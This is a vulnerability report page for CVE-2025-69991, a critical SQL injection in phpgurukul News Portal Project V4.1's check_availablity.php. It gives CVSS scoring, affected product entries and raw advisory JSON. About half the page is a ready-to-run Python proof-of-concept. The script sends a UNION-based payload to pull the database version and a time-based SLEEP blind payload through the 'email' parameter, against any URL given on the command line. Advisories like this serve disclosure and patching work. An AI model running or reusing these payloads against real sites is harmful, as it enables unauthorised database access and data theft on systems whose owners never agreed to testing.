Security Vulnerability Report
中文
CVE-2025-69991 CVSS 9.8 CRITICAL

CVE-2025-69991

Published: 2026-01-13 16:16:05
Last Modified: 2026-01-16 18:23:13

Description

phpgurukul News Portal Project V4.1 is vulnerable to SQL Injection in check_availablity.php.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:news_portal:4.1:*:*:*:*:*:*:* - VULNERABLE
phpgurukul News Portal Project < 4.1
phpgurukul News Portal Project = 4.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-69991 SQL Injection PoC # Target: phpgurukul News Portal Project V4.1 # File: check_availablity.php def exploit(target_url): """ SQL Injection PoC for CVE-2025-69991 This PoC demonstrates extracting database version information """ # Vulnerable endpoint endpoint = "/check_availablity.php" # Payload to extract database version # Using UNION-based SQL injection payload = "' UNION SELECT NULL,version(),NULL,NULL,NULL-- -" # Target parameter (typically 'email' or similar) params = { 'email': payload } try: print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious request...") response = requests.get( target_url + endpoint, params=params, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Check for successful injection if '5.' in response.text or '8.' in response.text or '10.' in response.text: print("[+] SQL Injection successful! Database version extracted.") return True else: print("[-] Injection may have failed. Check response manually.") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def blind_sqli(target_url): """ Blind SQL Injection alternative using time-based technique """ endpoint = "/check_availablity.php" # Time-based blind SQL injection payload # MySQL-specific: SLEEP() function payload = "' AND (SELECT * FROM (SELECT SLEEP(5))a)-- -" params = {'email': payload} try: print(f"[*] Testing blind SQL injection...") response = requests.get( target_url + endpoint, params=params, timeout=10, verify=False ) if response.elapsed.total_seconds() >= 5: print("[+] Blind SQL Injection confirmed!") return True except requests.exceptions.Timeout: print("[+] Blind SQL Injection confirmed (timeout occurred)!") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_69991.py <target_url>") print("Example: python cve_2025_69991.py http://localhost/newsportal") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target) blind_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69991", "sourceIdentifier": "[email protected]", "published": "2026-01-13T16:16:04.877", "lastModified": "2026-01-16T18:23:13.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "phpgurukul News Portal Project V4.1 is vulnerable to SQL Injection in check_availablity.php."}, {"lang": "es", "value": "Proyecto de Portal de Noticias phpgurukul V4.1 es vulnerable a inyección SQL en check_availablity.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:news_portal:4.1:*:*:*:*:*:*:*", "matchCriteriaId": "B8C7B550-9F9C-4CCE-A603-99006C7022C9"}]}]}], "references": [{"url": "https://github.com/Y4y17/CVE/blob/main/News%20Portal%20Project/SQL%20Injection.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}